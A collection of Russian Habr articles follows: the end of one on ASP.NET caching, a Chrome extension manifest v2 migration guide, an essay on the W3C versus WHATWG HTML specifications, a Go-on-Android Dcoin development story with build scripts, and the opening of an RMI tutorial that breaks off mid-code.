Кстати поведение ASP.NET отличается от заложенного в протокол HTTP, который кеширует ответ по полному url. Протокол HTTP предусматривает возможность варирования кеша с помощью заголовка ответа Vary. В ASP.NET можно также варировать ответ по параметрам в QueryString, по кодировке (заголовок `Accept-Encoding`), а также по кастомному параметру, привязанному к ответу.
Варьирование по кастомному параметру позволяет сохранять кеш для разных пользователей. Для того чтобы отдавать разные корзины разным пользователям надо:
1) Добавить в контроллер вызов
```
Response.Cache.SetVaryByCustom("sessionId");
```
2) В `Global.asax` переопределить метод `GetVaryByCustomString`
```
public override string GetVaryByCustomString(HttpContext context, string custom)
{
if (custom == "sessionId")
{
var sessionCookie = context.Request.Cookies["ASP.NET_SessionId"];
if (sessionCookie != null)
{
return sessionCookie.Value;
}
}
return base.GetVaryByCustomString(context, custom);
}
```
Таким образом для разных сессий будут отдаваться разные экземпляры кеша.
При такой реализации надо помнить, что на сервере в кеше сохраняется каждый ответ сервера. Если сохранять большие страницы для каждого пользователя, то они будут часто вытесняться из кеша и это приведет к падению эффективности кеширования.
#### Зависимости между элементами кеша
Механизм зависимостей в ASP.NET позволяет привязывать не только ответ к элементу внутреннего кеша, но и привязать один элемент кеша к другому. За это отвечают класс [`CacheDependency`](http://msdn.microsoft.com/ru-ru/library/system.web.caching.cachedependency(v=vs.110).aspx) и его наследники.
Например:
```
HttpContext.Cache.Insert("cacheItemKey",data, new CacheDependency(null, new[] { "anotherCacheItemKey" }));
```
Если элемент с ключом `anotherCacheItemKey` будет изменен или удален из кеша, то элемент с ключом cacheItemKey автоматически будет удален из кеша.
Это позволяет строить системы с многоуровневыми синхронизированным кешем.
#### Дополнительные возможности
Механизм зависимостей кеша в ASP.NET расширяемый. По умолчанию можно создавать зависимости к элементам внутреннего кеша, зависимости к файлам и папкам, а также зависимости к таблицам в базе данных. Кроме того вы можете создать свои классы зависимостей кеша, например для Redis.
Но об этом всем в следующих статьях. | https://habr.com/ru/post/227129/ | null | ru | null |
# Переводим Chrome extension на manifest_version 2
Владельцам расширений (а также приложений) для Хрома уже пора бы задуматься над поддержкой второй версии манифеста.
Если кто не в курсе, то не так давно были объявлены новые изменения и нововведения в разработку расширений для браузера.
Далее будет выборочный перевод [двух](http://developer.chrome.com/extensions/manifestVersion.html) [страниц](http://developer.chrome.com/extensions/contentSecurityPolicy.html) и мой способ использования шаблонизатора изнутри песочницы.
#### Сначала немного о [планах Гугла](http://developer.chrome.com/extensions/manifestVersion.html#schedule) по поддержке старых расширений
*\* Далее старыми расширениями буду называть расширения и приложения с версией манифеста 1 (или вообще без версии).*
* Начиная с **Chrome 21** блокируется создание новых расширений с первой версией манифеста, но разрешаются обновления существующих расширений до старой версии манифеста.
* С выходом **Chrome 23 (начало ноября)** у [Веб-сторе](https://chrome.google.com/webstore) будет заблокировано обновление на расширения со старыми версиями манифеста. Хром перестанет запаковывать старые расширения и загружать распакованные для разработки.
* **Первая четверть 2013** — старые расширения уже будет не найти в Веб-сторе. Разработчикам об этом сообщат по email.
* **Вторая четверть 2013** — из Веб-стора будут удалены все старые расширения, а разработчикам придет еще одно уведомление. Но Хром пока будет загружать и запускать установленные расширения с манифестом версии 1.
* **Третья четверть 2013** — Хром перестанет загружать и запускать старые расширения.
#### Различия версий манифеста 1 и 2
* [Политика безопасности контента (content security policy)](http://developer.chrome.com/extensions/contentSecurityPolicy.html) по умолчанию установлена в ``script-src 'self'; object-src 'self'`. Это по сути самое важное обновление. О нем немного позже.
* Все ресурсы расширения теперь недоступны по URL `chrome-extension://[PACKAGE ID]/[PATH]`. Т.е. вы не сможете подключить скрипт или картинку с расширения с других страниц кроме самого расширения. Но чтобы обойти этот недостаток появилось свойство [`web_accessible_resources`](http://developer.chrome.com/extensions/manifest.html#web_accessible_resources), в котором можно указать массив с путями к нужным ресурсам.
* Вместо свойства `background_page` (которое было строкой), теперь пишем [`background`](http://developer.chrome.com/extensions/background_pages.html), которое должно содержать объект со свойством `scripts` или `page`.
* Изменения в browser actions:
+ поле `browser_actions` заменено на `browser_action`, а API `chrome.browserActions` — на `chrome.browserAction`.
+ удалено свойство `icons` из `browser_action`. Вместо него нужно использовать `default_icon` или `chrome.browserAction.setIcon`.
+ удалено свойство `name` из `browser_action`. Вместо него нужно использовать `default_title` или `chrome.browserAction.setTitle`.
+ удалено свойство `popup` из `browser_action`. Вместо него нужно использовать `default_popup` или `chrome.browserAction.setPopup`.
+ свойство `default_popup` в `browser_action` должно быть строкой, а не объектом
* Изменения в page actions:
+ поле `page_actions` заменено на `page_action`, а API `chrome.pageActions` — на `chrome.pageAction`.
+ удалено свойство `icons` из `page_action`. Вместо него нужно использовать `default_icon` или `chrome.pageAction.setIcon`.
+ удалено свойство `name` из `page_action`. Вместо него нужно использовать `default_title` или `chrome.pageAction.setTitle`.
+ удалено свойство `popup` из `page_action`. Вместо него нужно использовать `default_popup` или `chrome.pageAction.setPopup`.
+ свойство `default_popup` в `page_action` должно быть строкой, а не объектом.
+ Удалено `chrome.self` из API, теперь нужно использовать `chrome.extension`.
* Больше нет `chrome.extension.getTabContentses` и `chrome.extension.getExtensionTabs`. Вместо них нужно использовать [`chrome.extension.getViews({ "type": "tab" })`](http://developer.chrome.com/extensions/extension.html#method-getViews).
* Вместо `Port.tab` используем `Port.sender`.
#### Политика безопасности контента ([Content Security Policy](http://developer.chrome.com/extensions/contentSecurityPolicy.html) или CSP)
Чтобы расширения были менее подвержены XSS уязвимостям были внедрены общие принципы CSP. В общем CSP являет собой механизм белых и черных списков касательно ресурсов, которые загружаются и выполняются расширением. С помощью CSP можно установить только необходимые разрешения для расширения и таким образом повысить его безопасность.
Эта политика является дополнительным уровнем защиты над правами на доступ к ресурсам ([host permissions](http://developer.chrome.com/extensions/manifest.html#permissions))
Установить политику безопасности можно в строковом параметре `content_security_policy` в `manifest.json`.
Если не установлена версия манифеста (`manifest_version`), то по умолчанию нет никакой политики безопасности контента. Но для второй версии манифеста она установлена по умолчанию со значением `script-src 'self'; object-src 'self'`. Поэтому есть некоторые ограничения. Например, функция `eval` выполнятся не будет. Так же не будут выполнятся инлайновые ```блоки и инлайновые обработчики событий (). Если вы в коде по какой-то причине передавали строку в качестве первого аргумента функций setTimeout` и `setInterval`, то это тоже придется исправить.
Так же скрипты, подключаемые с других ресурсов (с CDN, например), нужно сохранить локально.
#### [Смягчение ограничений политики безопасности](http://developer.chrome.com/extensions/contentSecurityPolicy.html#H2-3)
К сожалению нет способа смягчить ограничения на выполнение инлайновых скриптов. Но есть возможность подключать сторонние скрипты (правда, только по https). Для этого нужно указать домен в `content_security_policy`, например так:
```
{
...,
"content_security_policy": "script-src 'self' https://example.com; object-src 'self'",
...
}
```
#### “Что же делать если нужно выполнять eval?” или “Как подключить шаблонизатор?”
Сначала вы можете подумать - зачем мне eval? Но эта функция нужна почти для всех шаблонизаторов (заметьте, `new Function()` тоже не работает). Здесь нам поможет песочница ([sandbox](http://developer.chrome.com/extensions/manifest.html#sandbox)).
Можно создать отдельную страницу, где будут выполнятся все небезопасные операции (например, eval) и запускать ее изнутри песочницы (на песочницу по умолчанию CSP не распространяется).
Так же есть возможность передавать данные между расширением и песочницей через метод `postMessage()`.
##### Далее расскажу как я подключал [underscore шаблонизатор](http://underscorejs.org/#template)
1. Создадим файл `sandboxed/template-renderer.html` с таким вот контентом
**template-renderer.html**
```
Sandboxed Template Renderer
var templates = {};
window.addEventListener('message', function (event) {
var template;
if (typeof templates[event.data.templateName] == 'undefined') {
template = \_.template(event.data.template);
templates[event.data.templateName] = template;
} else {
template = templates[event.data.templateName];
}
event.source.postMessage({
id: event.data.id,
result: template(event.data.context)
}, event.origin);
});
```
2. В манифесте добавим этот html в песочницу
```
{
...,
"sandbox": {
"pages": ["sandboxed/template-renderer.html"]
},
...
}
```
3. Создадим функцию которая будет обращаться к нашей песочнице за рендерингом шаблона
**function getTemplate**
```
var getTemplate = (function(){
var iframe = document.createElement('iframe'),
callbacks = [];
iframe.src = 'sandboxed/template-renderer.html';
iframe.style.display = 'none';
document.body.appendChild(iframe);
window.addEventListener('message', function (event) {
callbacks.forEach(function (item, idx) {
if (item && item.id == event.data.id) {
item.callback(event.data.result);
delete callbacks[idx];
}
});
});
return function (templateName, template) {
return function (context, callback) {
var id = Math.random();
callbacks.push({
id: id,
callback: callback
});
iframe.contentWindow.postMessage({
id: id,
templateName: templateName,
template: template,
context: context
}, '*');
};
};
}());
```
4. Шаблонизатор готов к использованию
```
// получаем функцию, которая будет рендерить шаблон в зависимости от контекста
var template = getTemplate('templateId', templateContent);
// одно плохо - теперь результат получаем асинхронно
template({text: 'Hello world'}, function (html) {
// выводим html на страницу
// можно было передать $('body').html в качестве второго параметра,
// но решил написать так для большей наглядности
$('body').html(html);
});
```
Это решение - первое что пришло в голову. Наверное есть способ сделать это лучше (красивее). Буду рад увидеть предложения в комментариях.
И на последок, мой `manifest.json`:
**manifest.json**
```
{
"name": "Twittext",
"description": "A lightweight Google Chrome extension for Twitter",
"background": {
"page": "background.html"
},
"manifest_version": 2,
"browser_action": {
"default_icon": "img/icon_19.png",
"default_title": "Twittext",
"default_popup": "popup.html"
},
"icons": {
"128": "img/icon_128.png",
"19": "img/icon_19.png",
"48": "img/icon_48.png"
},
"options_page": "options.html",
"version": "1.6.1",
"permissions": [
"tabs",
"background",
"https://api.twitter.com/",
"https://userstream.twitter.com/"
],
"sandbox": {
"pages": ["sandboxed/template-renderer.html"]
}
}
````` | https://habr.com/ru/post/149948/ | null | ru | null |
# W3C или WHATWG
> Есть две спецификации HTML: W3C и WHATWG, какой из них верить?
Верьте той, которая больше нравится, но не забывайте сверяться с браузерами.
Спецификация — это главный источник знаний: как для браузеров, так и для разрабочиков. Браузеры обрабатывают код по спеке, разработчики пишут код по спеке — и у нас всё вместе хорошо работает. Это называется «веб-стандарты» и вы не хотите знать, насколько всё было плохо до их широкого признания.
W3C — это консорциум всемирной сети, такая некоммерческая организация, в рамках которой разрабатывают технологии, на которых работает веб. WHATWG — это независимая рабочая группа по технологиям гипертекстовых веб-приложений, которую собрали в рамках W3C в середине 2000-х. Собрали не просто так, а по делу.
Когда-то в W3C решили отказаться от спецификации HTML 4 и начать разрабатывать XHTML, более строгую, формальную и, как потом стало ясно — слишком оторванную от реальности. В ответ на это собралась WHATWG, в которую вошли представители браузеров. Благодаря этому появилась спецификация HTML 5 со множеством по-настоящему полезных вещей. От XHTML осталась только привычка закрывать теги и кавычить атрибуты.
После выхода HTML 5 из рук WHATWG, спецификация пошла по формальному пути к рекомендации W3C и достигла её в 2014 году. Но по дороге что-то пошло не так и между WHATWG и W3C возникли разногласия. Из-за этого начали появляться различия между версиями. В 2011 году WHATWG вообще отказалась от нумерации HTML и начала разрабатывать спецификацию как живой стандарт, в духе вечнозелёных браузеров.
В итоге, сейчас у нас есть две спецификации: рекомендация HTML 5.1 по W3C и живой стандарт HTML по WHATWG. И у каждой — свои цели: HTML5 делает снимки реальности, нумерует их и выпускает рекомендации. Это отвечает на вопрос разработчиков: что уже есть в браузерах? WHATWG, напротив, старается опередить реальность, предложить что-то новое и предсказать изменения. Это уже ближе к задачам браузеров.
Так в чём же противоречия? Например, W3C рекомендует иметь всего один элемент main на странице, приравнивая его к ARIA-роли main. Это помогает скринридерам находить самое главное на странице. WHATWG допускает main в любом структурном элементе, как главную его часть, на манер header и footer.
```
```
Из спецификации W3C убрали элемент hgroup, объясняя это отсутствием реализаций в браузерах, слабыми примерами использования и потенциальными проблемами. Вместо него рекомендуют обычный header и параграф для подзаголовка. В версии WHATWG элемент hgroup на месте — раз уж добавили, то чего убирать.
```
Заголовок
=========
Подзаголовок
Текст
```
Спецификация W3C также приводит расширенные примеры, рекомендации к использованию и развивает семантику элементов. HTML 5 поясняет важность уровней заголовков, рекомендует figcaption вместо атрибута title для картинок, объясняет как использовать alt, осуждает, но разрешает таблицы для раскладки, если есть role="presentation" и так далее.
Вы наверное уже поняли, что мне версия W3C нравится больше. Прочная связь со спецификациями по доступности, большее количество примеров и недавний переезд на Гитхаб — очень подкупают. По-моему, у WHATWG просто отлично получаются другие спецификации: DOM, Canvas, Fetch, URL и многие другие.
Плохо, что у нас есть две спецификации вместо одной? Да. Так почему не объединить их в одну? М-м, это вряд ли: слишком уж разные подходы к разработке. Но знаете, всё не так плохо: это просто две площадки для дискуссий со своими правилами, куда приходят представители всех браузеров, комитетов и групп, чтобы так или иначе развивать веб. И вы приходите — всё на Гитхабе.
Какой спецификации верить? Слепо — ни одной, ориентируйтесь на реализации в браузерах и на практическую ценность. Если вы о ней не знаете, не значит, что её нет. Выберите ту спеку, которая больше нравится и обращайтесь к ней почаще — они написаны для вас.
Видеоверсия
-----------
Вопросы можно задавать [здесь](https://htmlacademy.ru/shorts). | https://habr.com/ru/post/339854/ | null | ru | null |
# Катя, Go, Dcoin и Android
[](https://habrahabr.ru/post/277099/)
Продолжение той самой истории.
Первая часть [тут](http://habrahabr.ru/company/dcoin/blog/272695/), вторая [тут](http://habrahabr.ru/post/273333/), третья [тут](https://habrahabr.ru/post/274885/).
4,5 года назад я имел неосторожность начать писать свою криптовалюту на совсем неподходящем для этого дела языке — на PHP. В итоге, конечно, написал (я упрямый), но получился костыль на костыле и то, что оно вообще работало было просто какой-то магией.
Сразу хочу предупредить, программер я самоучка-недоучка и пишу код, мягко сказать, неидеально.
Началось всё с того, что я расстался с девушкой, по имени Катя и в этот же день (4 апреля 2015-го) решил изучить Go и переписать свою криптовалюту. Писать про Катю не под спойлерами не могу, т.к. хабр всё же для IT-шных статей, а не для любовных рассказов и суровые айтишники, которым интересна тема Go, могут просто не обращать внимание на спойлеры «про Катю».
Итог 8 месяцев: приложение работает на Win ([64](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_win64.exe)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_win32.exe)), OSX([64](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_osx64.dmg)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_osx32.dmg)), Linux([64](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_linux64.deb)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_linux32.deb)), FreeBSD([64](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_freebsd64.zip)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_freebsd32.zip)), [Android](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin.apk), [IOS](http://dcoin.club/ru/ios.html).
Общего кода ~73к строк, кода под разные ОС где-то несколько сотен строчек.
40к — обработка/генерация блоков/тр-ий, 17.5к — контроллеры для интерфейса, 15.5к — шаблоны.
Поддерживаются PostgreSQL, SQLite, MySQL.
Тех, кто будет тестировать мое творение, предупреждаю — могут быть баги, и если у Вас есть время, черкните о них, пожалуйста, на [darwin@dcoin.club](mailto:darwin@dcoin.club) или в личку на хабре. Пожелания и советы тоже приветствуются.
В первых трех частях я рассказал про то, как в dcoin функционирует веб-сервер, про [html/template](https://golang.org/pkg/html/template/), базы данных, плавное завершение приложения, шифрование и парсинг блоков.
В этой статье я расскажу про работу с Go на Android.
### Начало
Смешно сказать, но мой первый андроид появился у меня этим летом. До этого я просто не находил причин, чтобы заменить свою Nokia 1200. Купил дешевый ZTE за 3000 руб с 512 памяти и 2-я ядрами. Для тестирования самое то. И звонить с него тоже можно.
Хотелось сделать компиляцию через [github.com/golang/mobile](https://github.com/golang/mobile) в apk. Посмотрел мануалы, вроде всё просто. Почти сразу получилось скомпилировать бинарник и запустить его под рутом на андроиде. Обрадовался, что всё идет как по маслу и казалось, что через пару дней у меня будет apk, запустив который я увижу Dcoin.
Собрать Apk оказалось не сложно. В принципе, всё что мне было нужно — это автоматически открыть в браузере [127.0.0.1](http://127.0.0.1):8089. Вот тут-то я забуксовал. Несколько дней гуглил и экспериментировал и всё чего смог добиться — это отрисовка картинки на которой я прошу пользователя открыть в браузере нужный хост.
Решил зайти через aar. Т.е. добавить его как библиотеку в андроид-студио. И средствами студии уже открыть браузер или webview. Но sqlite упорно не хотело компилиться, оказалось что ошибка в компиляторе C и решения проблемы на тот момент не было (сейчас, кстати, уже есть).
**Про Катю**(Окончание из [предыдущей части](https://habrahabr.ru/post/274885/)): Написал ей в ВК, сказала, что тел дома забыла, а сейчас у подруги. Я написал, что подожду её. После чего получил «Не звони и не пиши мне больше!!!!». Вопросов задавать не стал, позвонил в соседнюю квартиру, попросил передать цветы Кате, когда она будет дома. Приехал домой, через несколько часов принял решение переписать Dcoin на Go.
Через пару дней написал ей, что на несколько месяцев ухожу с головой в свой проект и попросил не беспокоить меня по пустякам.
Через неделю от Кати пришла смс-ка «привет. ну как ты там?». Я не ответил. Через неделю еще одна «привет. как дела?». Я снова не ответил.
### GoNativeActivity
В какой-то момент стало очевидно, что без этого волшебного файлика ничего не выйдет. Начал экспериментировать, внес несколько изменений, генерирую apk и ничего не меняется. Через пару дней не выдержал и решил написать одному из разработчиков gomobile, ответ пришел довольно быстро. Оказывается, после изменений в GoNativeActivity надо вызывать go generate github.com/c-darwin/mobile/cmd/gomobile, чтобы сгенерировался .dex файл и только после этого go install github.com/c-darwin/mobile/cmd/gomobile.
Научившись править GoNativeActivity я получил огромные возможности. Нужно было лишь уметь писать на Java. А я не умел, и сейчас не умею. Но кое-что всё же смог сделать. [Тут](https://github.com/c-darwin/dcoin-go/blob/master/GoNativeActivity.java) мой GoNativeActivity. Чуть позже понял, как создать свой AndroidManifest.xml, что дало еще больше возможностей, в итоге вместо работы в браузере я смог добиться работы в WebView, [тут](https://github.com/c-darwin/dcoin-go/blob/master/XWalkActivity.java) моя реализация вебвьюхи.
**Про Катю**Еще примерно через неделю она написала, что ей срочно нужно 7 т.р. в долг, т.к. ей не хватает на оплату за квартиру. Я ответил «OK». На следующий день она приехала ко мне домой.
### Уведомления
Мне захотелось сделать уведомления, когда приходят деньги или поступает входящий запрос на обмен монет на фиат. После гугления и изучения stackoverflow получился такой код:
```
public void notif(String title, String text) {
Intent intent = new Intent("org.golang.app.MainActivity");
NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(this);
// с этой иконкой пришлось повозиться, нижу расскажу
mBuilder.setSmallIcon(R.drawable.icon);
mBuilder.setContentTitle(title);
mBuilder.setContentText(text);
Intent resultIntent = new Intent(this, MainActivity.class);
TaskStackBuilder stackBuilder = TaskStackBuilder.create(this);
stackBuilder.addParentStack(MainActivity.class);
// Adds the Intent that starts the Activity to the top of the stack
stackBuilder.addNextIntent(resultIntent);
PendingIntent resultPendingIntent = stackBuilder.getPendingIntent(0,PendingIntent.FLAG_UPDATE_CURRENT);
mBuilder.setContentIntent(resultPendingIntent);
NotificationManager mNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
// notificationID allows you to update the notification later on.
mNotificationManager.notify(2, mBuilder.build());
}
```
Осталось только понять, как этот notif дергать из Go. Вот тут я застрял еще на недельку. Оказалось, что надо использовать некого зверя под названием [JNI](https://ru.wikipedia.org/wiki/Java_Native_Interface). Получается что-то вроде такой конструкции: Go вызывает C, который запускает Java-машину и дергает через неё мой notif. Ужас. Особенно учитывая, что в C, я также как и в Java, почти полный ноль.
Короче, после долгих мучений я смог таки написать рабочий [код](https://github.com/c-darwin/mobile/blob/master/notif/notif.go) и даже понять, что в нем происходит:
```
package notif
/*
#cgo LDFLAGS: -llog -landroid
#include
#include
#include
#define LOG\_FATAL(...) \_\_android\_log\_print(ANDROID\_LOG\_FATAL, "Go/fatal", \_\_VA\_ARGS\_\_)
void notif\_manager\_init(void\* java\_vm, void\* ctx, char\* title, char\* text) {
JavaVM\* vm = (JavaVM\*)(java\_vm);
JNIEnv\* env;
int err;
int attached = 0;
err = (\*vm)->GetEnv(vm, (void\*\*)&env, JNI\_VERSION\_1\_6);
if (err != JNI\_OK) {
if (err == JNI\_EDETACHED) {
// присоединяемся к JM
if ((\*vm)->AttachCurrentThread(vm, &env, 0) != 0) {
LOG\_FATAL("cannot attach JVM");
}
attached = 1;
} else {
LOG\_FATAL("GetEnv unexpected error: %d", err);
}
}
// преобразуем в jstring наш title
jstring javaTitle = (jstring)(\*env)->NewStringUTF(env, (const char \*)title);
// преобразуем в jstring наш text
jstring javaText = (jstring)(\*env)->NewStringUTF(env, (const char \*)text);
//указатель на класс, к которому относится объект
jclass cls = (\*env)->GetObjectClass(env, ctx);
// идентификатор метода.Ljava/lang/String;Ljava/lang/String - тип передаваемых данных и V(Void) - возвращаемых
jmethodID nJmethodID = (\*env)->GetMethodID(env, cls, "notif", "(Ljava/lang/String;Ljava/lang/String;)V");
// вызываем сам метод
(jstring)(\*env)->CallObjectMethod(env, ctx, nJmethodID, javaTitle, javaText);
if (attached) {
// отсоединяемся от JM
(\*vm)->DetachCurrentThread(vm);
}
}
\*/
import "C"
import (
"github.com/c-darwin/mobile/internal/mobileinit"
)
func SendNotif(title string, text string) {
ctx := mobileinit.Context{}
C.notif\_manager\_init(ctx.JavaVM(), ctx.AndroidContext(), C.CString(title), C.CString(text))
}
```
По аналогии у меня получился пакет [get\_files\_dir.go](https://github.com/c-darwin/mobile/blob/master/get_files_dir/get_files_dir.go) который получает рабочую директорию.
**Про Катю**Я не знаю, что у неё было в голове, наверное думала, что я буду к ней приставать. Весь вечер она была какой-то странной. Я был холоден и старался избегать любых прикосновений к ней. Мы поели, попили чаю. Катя сказала, что ей надо домой. Я вызвал такси.
Когда провожал её до такси спросил:
— Мы ведь не вместе да? Т.е. я могу делать что захочу?
Она: — В смысле «что захочу»? нет, мы вместе (пододвигается ко мне)
Я: — Ну у нас же не было первого свидания, мы еще не начали всё с начала.
Она: — Так вот было же только что.
Я: — Какое же это свидание, ты просто за деньгами приехала.
Мы уже стояли у дверей такси, я её усадил, расплатился с водителем, она уехала.
На Go получился [вот такой код](https://github.com/c-darwin/dcoin-go/blob/master/packages/sendnotif/android.go) для вызова уведомления:
```
// +build android
package sendnotif
import (
"github.com/c-darwin/mobile/notif"
)
func SendMobileNotification(title, text string) {
notif.SendNotif(title, text)
}
```
**Про Катю**Утром зазвонил телефон, это была Катя. Я не поднял трубку.
### Сервис
Заметил, что веб-серер стал постоянно падать. Работать с кошельком было невозможно. Погуглил, понял, что надо делать сервис. На этот раз сложностей было уже не так много, исходник [тут](https://github.com/c-darwin/dcoin-go/blob/master/MyService.java). ShortcutIcon() создает иконку на рабочем столе.
**Про Катю**На следующий день она прислала смс-ку «привет. я вчера звонила, ты не взял трубку». Я не стал отвечать.
### Доступ к иконке
При появлении уведомлений нужно указать иконку. Пришлось разбираться как в android устроена работа с ресурсами. Примерно понял, что нужно сгенерировать R.jar и подключить его при генерации dex-файла.
Погуглил, как генерить java файлы, получилась такая команда:
```
aapt package -v -f -J /home/z/go-projects/src/github.com/c-darwin/dcoin-go/ -S /home/z/go-projects/src/github.com/c-darwin/dcoin-go/res/ -M /home/z/go-projects/src/github.com/c-darwin/dcoin-go/AndroidManifest.xml -I /home/z/android-sdk-linux/platforms/android-22/android.jar
```
Полученный R.java помещаем в R/org/golang/app/:
```
mv R.java /home/z/go-projects/src/github.com/c-darwin/dcoin-go/R/org/golang/app/
```
И генерируем R.jar:
```
cd R && jar cfv /home/z/go-projects/src/github.com/c-darwin/dcoin-go/R.jar
```
Генерим неподписанный apk:
```
aapt package -v -f -J /home/z/go-projects/src/github.com/c-darwin/dcoin-go/ -S /home/z/go-projects/src/github.com/c-darwin/dcoin-go/res/ -M /home/z/go-projects/src/github.com/c-darwin/dcoin-go/AndroidManifest.xml -I /home/z/android-sdk-linux/platforms/android-22/android.jar -F unsigned.apk
```
**Про Катю**Через неделю она написала, что получила з.п. и хочет скинуть мне на карту деньги. Я ни чего не ответил. Через несколько дней она написала «привет. как дела?». Я снова игнорировал.
Вытаскиваем в корень resources.arsc:
```
unzip unsigned.apk -d apk && mv apk/resources.arsc .
```
Дальше нужно подправить [gendex.go](https://github.com/c-darwin/mobile/blob/master/cmd/gomobile/gendex.go) из gomobile:
```
cmd := exec.Command(
"javac",
"-source", "1.7",
"-target", "1.7",
"-bootclasspath", platform+"/android.jar",
"-classpath", "/home/z/go-projects/src/github.com/c-darwin/dcoin-go/R.jar:"+androidHome+"/extras/android/m2repository/com/android/support/support-v4/22.2.1/support-v4-22.2.1-sources.jar",
"-d", tmpdir+"/work",
)
```
**Про Катю**Еще примерно через неделю я наконец запустил Dcoin на нодах и увидев, как идет генерации блоков и как они летают между нодами, наполняя базы данных. Мне показалось, что это можно считать завершением моего временного отшельничества и я написал Кате.
Генерируем новый Dex:
```
ANDROID_HOME=/home/z/android-sdk-linux go generate github.com/c-darwin/mobile/cmd/gomobile/
```
Затем бинарник самого gomobile:
```
go install github.com/c-darwin/mobile/cmd/gomobile/
```
И наконец получаем наш apk:
```
CGO_ENABLED=1 GOOS=android ANDROID_HOME=/home/z/android-sdk-linux gomobile build -v github.com/c-darwin/dcoin-go
```
В итоге, у меня получился вот такой bash скрипт для генерации apk:
```
./bindata.sh
echo "######## generate R.java ########"
aapt package -v -f -J /home/z/go-projects/src/github.com/c-darwin/dcoin-go/ -S /home/z/go-projects/src/github.com/c-darwin/dcoin-go/res/ -M /home/z/go-projects/src/github.com/c-darwin/dcoin-go/AndroidManifest.xml -I /home/z/android-sdk-linux/platforms/android-22/android.jar
mv R.java /home/z/go-projects/src/github.com/c-darwin/dcoin-go/R/org/golang/app/
echo "######## generate R.jar ########"
cd R
jar cfv /home/z/go-projects/src/github.com/c-darwin/dcoin-go/R.jar .
cd ../
echo "######## generate unsigned.apk ########"
aapt package -v -f -J /home/z/go-projects/src/github.com/c-darwin/dcoin-go/ -S /home/z/go-projects/src/github.com/c-darwin/dcoin-go/res/ -M /home/z/go-projects/src/github.com/c-darwin/dcoin-go/AndroidManifest.xml -I /home/z/android-sdk-linux/platforms/android-22/android.jar -F unsigned.apk
echo "######## extract resources.arsc ########"
unzip unsigned.apk -d apk
mv apk/resources.arsc .
rm -rf apk unsigned.apk
ANDROID_HOME=/home/z/android-sdk-linux go generate github.com/c-darwin/mobile/cmd/gomobile/
go install github.com/c-darwin/mobile/cmd/gomobile/
CGO_ENABLED=1 GOOS=android ANDROID_HOME=/home/z/android-sdk-linux gomobile build -v github.com/c-darwin/dcoin-go
```
**Про Катю**Она очень позитивно отреагировала на то, что я вышел с ней на связь, согласилась встретиться. Потом сказала, что у неё всё плохо, подружка с которой она снимала квартиру съехала и что она из-за стрессов каждый день плачет, еще и уволиться решила. Я решил, что, когда мы встретимся, предложу ей переехать жить ко мне и ни о чем не париться.
### Заключение
В следующей, заключительной статье я расскажу про gomobile и IOS. И, наконец, будет финал про Катю. | https://habr.com/ru/post/277099/ | null | ru | null |
# RMI (Remote Method Invocation)
Случилось так, что поставленная задача требовала применения удалённого вызова методов. Порывшись на Хабре, ничего не нашел по данному вопросу (хотелось что-нибудь почитать в качестве первого знакомства, перед чтением документации). Изучив спецификации на java.sun.com спешу поделиться с вами своей первой статьей. :)
#### «Что такое RMI?»
Remote method Invocation — механизм, который позволяет вызывать метод удалённого объекта. Согласно ему, все операции по подготовке и передаче данных инкапсулируются в вызываемом методе клиентского объекта-заглушки (stub). Сам же вызов метода ничем не отличается от вызова метода обычного локального объекта, за небольшим исключением:
* ~~все параметры передаются по значению (т.е. копии объектов, а не ссылки на них, как это обычно происходит)~~ — исправил ниже. Спасибо [KonstantinSolomatov](https://habrahabr.ru/users/konstantinsolomatov/)
* локальные объекты передаются по значению (копии)
* при передаче удалённого (Remote) объекта, если он экспортирован, передаётся stub этого объекта
* передаваемые объекты должны быть Serializable
* кроме всех прочих исключительных ситуаций, при вызове удалённого метода может возбуждаться исключение RemoteException (ошибки маршализации/демаршализации, передачи данных и другие возможные ошибки протокола)
Так же нужно отметить, что при вызове метода мы работаем с удалённым интерфейсом, а не с удалённым классом.
#### «Зачем это нужно?»
Задача RMI — организация клиент-серверного взаимодействия. Это значит, что вам не придётся беспокоится о передаче и предварительной обработке данных (протокол и т.д.). Удобно? Да. Но не во всех случаях. Если в вашей клиент-серверной среде подразумевается работа программ, написанных не только на java, от RMI толку мало (хотя при большом желании можно попытаться «выкрутиться» при помощи JNI).
#### «Давайте уже что-нибудь напишем!»
Давайте. Рассмотрим на примере распределённых вычислений. Задача у нас такая: мы будем искать простые числа самым простым способом, перебором. Распределённо же будем проверять числа подбором делителей от 2 до sqrt(n), где n — число, которое проверяем. («Распределённые вычисления» — громкое название для такого примера. Но ведь вычисляем? Да! Распределённо? Распределённо!)
Решать задачу будем так: есть сервер, который будет «скармливать» числа на проверку «зарегистрировавшимся» клиентам, посему взаимодействовать мы будем в обоих направлениях (клиент->сервер — регистрация, сервер->клиент — число на проверку), для этого опишем 2 интерфейса:
> `1. public interface ClientRegister extends Remote {
> 2. public void register (PrimeChecker checker) throws RemoteException;
> 3. }
> 4.
> 5. public interface PrimeChecker extends Remote {
> 6. public boolean check (BigDecimal number) throws RemoteException;
> 7. }
> \* This source code was highlighted with Source Code Highlighter.`
Интерфейс ClientRegister ипользуется клиентом для регистрации себя на сервере в роли PrimeChecker`a. Сервер использует PrimeChecker для передачи клиенту числа на проверку.
Как вы уже заметили, удалённый интерфейс должен расширять, прямо или косвенно, интерфейс Remote. Так же среди прочих исключений определим RemoteException (о нём мы говорили выше).
Приступим к реализации сервера ([полный код](http://www.everfall.com/paste/id.php?k66bn1g0raqn)):
> `1. public class PrimeNumbersSearchServer implements ClientRegister {
> 2.
> 3. ...
> 4.
> 5. public static void main(String[] args) {
> 6. PrimeNumbersSearchServer server = new PrimeNumbersSearchServer();
> 7.
> 8. try {
